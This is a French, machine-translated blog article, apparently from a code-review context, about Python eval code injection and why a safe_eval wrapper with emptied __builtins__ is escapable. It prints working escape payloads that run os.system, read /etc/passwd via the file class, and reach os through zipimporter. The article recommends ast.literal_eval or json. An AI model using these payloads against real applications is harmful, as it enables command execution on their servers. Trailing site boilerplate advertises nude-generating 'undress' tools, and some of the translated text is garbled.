


Introduction aux principes courants d'encapsulation des erreurs et d'utilisation de l'évaluation Python
Le contenu de cet article est une introduction aux principes courants d'encapsulation et d'utilisation de Python eval. Il a une certaine valeur de référence. Les amis dans le besoin peuvent s'y référer.
Récemment, au cours du processus de révision du code, j'ai découvert qu'il existe de nombreuses utilisations incorrectes d'eval qui entraînent des problèmes d'injection de code. Une utilisation typique consiste à utiliser eval comme dict d'analyse. Certains utilisent simplement eval, et d'autres l'utilisent mal. l'encapsulation. eval est utilisée par tous les produits, ce qui entraîne des problèmes plus graves. Ce sont des leçons sanglantes, donc tout le monde devrait y prêter plus d'attention.
Ce qui suit est un exemple dans un produit réel. Pour plus de détails, voir [bug83055][1] :
def remove(request, obj): query = query2dict(request.POST) eval(query['oper_type'])(query, customer_obj)
La requête est directement convertie à partir du POST et peut être directement contrôlée par le user.Si l'utilisateur entre oper_type=__import__('os').system('sleep 5') dans le paramètre url, la commande sleep peut alors être exécutée. Bien entendu, n'importe quelle commande système ou n'importe quel code exécutable peut également être exécuté. Le mal est évident, voyons ce que fait exactement eval et comment le faire en toute sécurité ?
1. Que faire
Pour faire simple, il s'agit d'exécuter une expression
>>> eval('2+2') 4 >>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""") {'ip': '10.10.10.10', 'name': 'xiaoming'} >>> eval("__import__('os').system('uname')", {}) Linux 0
De ces trois morceaux de code, le premier est évidemment utilisé pour le calcul. La seconde consiste à convertir les données de type chaîne en type de données python, voici dict. C'est également une erreur courante dans nos produits. Le troisième est ce que fait le mauvais garçon : exécuter des commandes système.
eval accepte trois paramètres, eval(source[, globals[, locals]]) -> value
globals doit être un chemin et locals doit être une paire clé-valeur, ce qui est pris par défaut Globales et locales du système
2, encapsulation incorrecte
(1) Regardons une section de la fonction d'encapsulation dans l'un de nos codes produit, voir [bug][2] , ou le réseau Recherchez des codes avec un classement plus élevé, par exemple :
def safe_eval(eval_str): try: #加入命名空间 safe_dict = {} safe_dict['True'] = True safe_dict['False'] = False return eval(eval_str,{'__builtins__':None},safe_dict) except Exception,e: traceback.print_exc() return ''
Ici, __builtins__ est défini sur vide, donc les variables intégrées comme __import__ ont disparu. Cette fonction encapsulée est-elle sûre ? Permettez-moi de le parcourir étape par étape :
>>> dir(__builtins__) ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',
Éléments de la liste
'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Avertissement', 'ZeroDivisionError', '_', 'debug', 'doc', 'import', 'nom', 'package', 'abs', 'all', 'any', 'apply', 'basestring ', ' bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float ', ' format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next ', 'objet', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'inversé', 'round', 'set', 'setattr', 'slice', 'trié', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type ', ' unichr', 'unicode', 'vars', 'xrange', 'zip']
De __builtins__ vous pouvez voir qu'il y a __import__ dans son module, qui peut être utilisé pour effectuer certaines opérations de os. S'il est défini sur vide et que la fonction eval est exécutée, le résultat est le suivant :
>>> eval("__import__('os').system('uname')", {'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 1, in <module> NameError: name '__import__' is not defined
Maintenant, il est demandé que __import__ n'est pas défini et ne peut pas être exécuté avec succès. La réponse est évidemment fausse.
Par exemple, l'exécution est la suivante :
>>> s = """ ... (lambda fc=( ... lambda n: [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == n ... ][0] ... ): ... fc("function")( ... fc("code")( ... 0,0,0,0,"test",(),(),(),"","",0,"" ... ),{} ... )() ... )() ... """ >>> eval(s, {'__builtins__':{}}) Segmentation fault (core dumped)
Ici l'utilisateur définit une fonction, et cet appel de fonction provoque directement une erreur de segmentation
Le code suivant sort du interpréteur :
>>> >>> s = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "Quitter" ... ][0](0)() ... """ >>> eval(s,{'__builtins__':{}}) liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $
Ayons une compréhension préliminaire de l'ensemble du processus :
>>> ().__class__.__bases__[0].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]
Le sens de ce code python est de trouver la classe du tuple, puis de trouver sa classe de base, qui est un objet, puis passer l'objet recherche ses sous-classes, et les sous-classes spécifiques sont les mêmes que la sortie dans le code. Vous pouvez y voir qu'il existe un module de fichiers et un module zipimporter. Peuvent-ils être utilisés ? Commencez par le fichier
Si l'utilisateur construit :
>>> s1 = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "file" ... ][0]("/etc/passwd").read()() ... """ >>> eval(s1,{'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 6, in <module> IOError: file() constructor not accessible in restricted mode
Ce mode restreint s'entend simplement comme le bac à sable de l'interpréteur python. Certaines fonctions sont restreintes, comme le système ne peut pas l'être. modifié et le système ne peut pas être modifié. Utilisez certaines fonctions système, telles que le fichier, voir Mode d'exécution restreint pour plus de détails, alors comment le contourner ? A cette époque, nous avons pensé à zipimporter. Si le module importé fait référence au module os, nous pouvons l'utiliser comme le code suivant.
>>> s2=""" ... [x for x in ().__class__.__bases__[0].__subclasses__() ... if x.__name__ == "zipimporter"][0]( ... "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module( ... "configobj").os.system("uname") ... """ >>> eval(s2,{'__builtins__':{}}) Linux 0
Cela vérifie que le safe_eval qui vient d'être effectué n'est réellement pas sûr.
3, comment utiliser
correctement (1) Utilisez ast.literal_eval
(2) Si vous convertissez simplement des caractères en dict, vous pouvez utiliser le format json
Cet article est partout ici. Pour un contenu plus passionnant, vous pouvez faire attention à la colonne Tutoriel vidéo Python sur le site Web PHP chinois !
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undress AI Tool
Images de déshabillage gratuites

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Clothoff.io
Dissolvant de vêtements AI

Video Face Swap
Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds











Pour réaliser la correction d'erreur de texte et l'optimisation de la syntaxe avec l'IA, vous devez suivre les étapes suivantes: 1. Sélectionnez un modèle ou une API d'IA appropriée, tels que Baidu, Tencent API ou bibliothèque NLP open source; 2. Appelez l'API via Curl ou Guzzle de PHP et traitez les résultats de retour; 3. Afficher les informations de correction d'erreur dans l'application et permettre aux utilisateurs de choisir d'adopter l'adoption; 4. Utilisez PHP-L et PHP_CODESNIFFER pour la détection de syntaxe et l'optimisation du code; 5. Collectez en continu les commentaires et mettez à jour le modèle ou les règles pour améliorer l'effet. Lorsque vous choisissez AIAPI, concentrez-vous sur l'évaluation de la précision, de la vitesse de réponse, du prix et du support pour PHP. L'optimisation du code doit suivre les spécifications du PSR, utiliser le cache raisonnablement, éviter les requêtes circulaires, revoir le code régulièrement et utiliser x

L'entrée vocale de l'utilisateur est capturée et envoyée au backend PHP via l'API MediaRecorder du JavaScript frontal; 2. PHP enregistre l'audio en tant que fichier temporaire et appelle STTAPI (tel que Google ou Baidu Voice Recognition) pour le convertir en texte; 3. PHP envoie le texte à un service d'IA (comme Openaigpt) pour obtenir une réponse intelligente; 4. PHP appelle ensuite TTSAPI (comme Baidu ou Google Voice Synthesis) pour convertir la réponse en fichier vocal; 5. PHP diffuse le fichier vocal vers l'avant pour jouer, terminant l'interaction. L'ensemble du processus est dominé par PHP pour assurer une connexion transparente entre toutes les liens.

Cet article a sélectionné plusieurs sites Web de projet "finis" Python et des portails de ressources d'apprentissage "Blockbuster" de haut niveau pour vous. Que vous recherchiez l'inspiration de développement, l'observation et l'apprentissage du code source au niveau de la maîtrise ou que vous amélioriez systématiquement vos capacités pratiques, ces plateformes ne sont pas manquées et peuvent vous aider à devenir un maître Python rapidement.

Pour commencer avec Quantum Machine Learning (QML), l'outil préféré est Python et des bibliothèques telles que Pennylane, Qiskit, Tensorflowquantum ou Pytorchquantum doivent être installées; Familiarisez-vous ensuite avec le processus en exécutant des exemples, tels que l'utilisation de Pennylane pour construire un réseau neuronal quantique; Ensuite, implémentez le modèle en fonction des étapes de la préparation des ensembles de données, du codage des données, de la construction de circuits quantiques paramétriques, de la formation Classic Optimizer, etc.; Dans le combat réel, vous devez éviter de poursuivre des modèles complexes depuis le début, en faisant attention aux limitations matérielles, en adoptant des structures de modèles hybrides et en se référant continuellement aux derniers documents et documents officiels à suivre le développement.

Pour collecter les données de comportement des utilisateurs, vous devez enregistrer la navigation, la recherche, l'achat et d'autres informations dans la base de données via PHP et les nettoyer et les analyser pour explorer les préférences d'intérêt; 2. La sélection des algorithmes de recommandation doit être déterminée sur la base des caractéristiques des données: en fonction du contenu, du filtrage collaboratif, des règles ou des recommandations mitigées; 3. Le filtrage collaboratif peut être mis en œuvre en PHP pour calculer la similitude du cosinus des utilisateurs, sélectionner K voisins les plus proches, les scores de prédiction pondérés et recommander des produits à haut score; 4. L'évaluation des performances utilise la précision, le rappel, la valeur F1 et le CTR, le taux de conversion et vérifier l'effet par le biais de tests A / B; 5. Les problèmes de démarrage à froid peuvent être atténués par des attributs de produits, des informations d'enregistrement des utilisateurs, des recommandations populaires et des évaluations d'experts; 6. Les méthodes d'optimisation des performances comprennent les résultats de recommandation en cache, le traitement asynchrone, l'informatique distribuée et l'optimisation des requêtes SQL, améliorant ainsi l'efficacité des recommandations et l'expérience utilisateur.

Pour maîtriser Python Web Crawlers, vous devez saisir trois étapes de base: 1. Utilisez les demandes pour lancer une demande, obtenir du contenu de la page Web via la méthode GET, faire attention à la définition d'en-têtes, gérer les exceptions et se conformer à robots.txt; 2. Utilisez BeautifulSoup ou XPath pour extraire les données. Le premier convient à l'analyse simple, tandis que le second est plus flexible et adapté aux structures complexes; 3. Utilisez du sélénium pour simuler les opérations du navigateur pour le contenu de chargement dynamique. Bien que la vitesse soit lente, elle peut faire face à des pages complexes. Vous pouvez également essayer de trouver une interface API de site Web pour améliorer l'efficacité.

Dans Python, les points suivants doivent être notés lors de la fusion des chaînes à l'aide de la méthode join (): 1. Utilisez la méthode str.join (), la chaîne précédente est utilisée comme liaison lors de l'appel, et l'objet itérable dans les supports contient la chaîne à connecter; 2. Assurez-vous que les éléments de la liste sont tous des chaînes, et s'ils contiennent des types de cordes, ils doivent être convertis en premier; 3. Lors du traitement des listes imbriquées, vous devez aplatir la structure avant de vous connecter.

Lorsque vous choisissez un cadre PHP approprié, vous devez considérer de manière approfondie en fonction des besoins du projet: Laravel convient au développement rapide et fournit des moteurs de modèle éloquente et de lame, qui sont pratiques pour le fonctionnement de la base de données et le rendu de formulaire dynamique; Symfony est plus flexible et adapté aux systèmes complexes; Codeigniter est léger et adapté à des applications simples avec des exigences de performance élevées. 2. Pour assurer la précision des modèles d'IA, nous devons commencer avec une formation de données de haute qualité, une sélection raisonnable des indicateurs d'évaluation (tels que la précision, le rappel, la valeur F1), l'évaluation régulière des performances et le réglage du modèle, et assurer la qualité du code grâce aux tests unitaires et aux tests d'intégration, tout en surveillant continuellement les données d'entrée pour empêcher la dérive des données. 3. De nombreuses mesures sont nécessaires pour protéger la confidentialité des utilisateurs: crypter et stocker des données sensibles (comme AES
